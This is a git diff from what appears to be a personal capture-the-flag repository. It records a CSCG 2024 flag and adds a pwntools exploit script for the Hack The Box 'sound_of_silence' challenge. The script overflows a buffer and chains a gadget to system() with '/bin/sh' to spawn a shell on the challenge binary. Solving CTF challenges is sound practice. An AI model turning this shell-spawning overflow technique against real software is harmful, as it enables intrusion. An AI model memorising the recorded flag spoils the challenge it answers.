diff --git a/cscg24/web/intro_web_3/notes.md b/cscg24/web/intro_web_3/notes.md
index 6fd07e2..bbcd35b 100644
--- a/cscg24/web/intro_web_3/notes.md
+++ b/cscg24/web/intro_web_3/notes.md
@@ -1,2 +1 @@
-Flag: CSCG{Q8oIoy3Ps956Uwvv
-
+Flag: CSCG{Q8oIoy3Ps956UwvvWIfJAzNs}
diff --git a/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh b/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh
index 6f567d7..e10e147 100755
--- a/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh
+++ b/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh
@@ -1,3 +1,3 @@
 #!/bin/sh
 docker build --tag=sound_of_silence .
-docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence
\ No newline at end of file
+docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence
diff --git a/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/exploit.py b/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/exploit.py
new file mode 100644
index 0000000..2e01a5f
--- /dev/null
+++ b/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/exploit.py
@@ -0,0 +1,13 @@
+from pwn import remote, p64, pause, process
+
+system_addr = 0x401050
+set_rdi = 0x401169
+
+#with remote("localhost", 1337) as p:
+with process("challenge/sound_of_silence") as p:
+    p.recvuntil(b">> ")
+    pause()
+    payload = b"/bin/sh;"
+    payload += b"A" * (0x20 - len(payload)) + p64(0) + p64(set_rdi) + p64(system_addr)
+    p.sendline(payload)
+    p.interactive()
\ No newline at end of file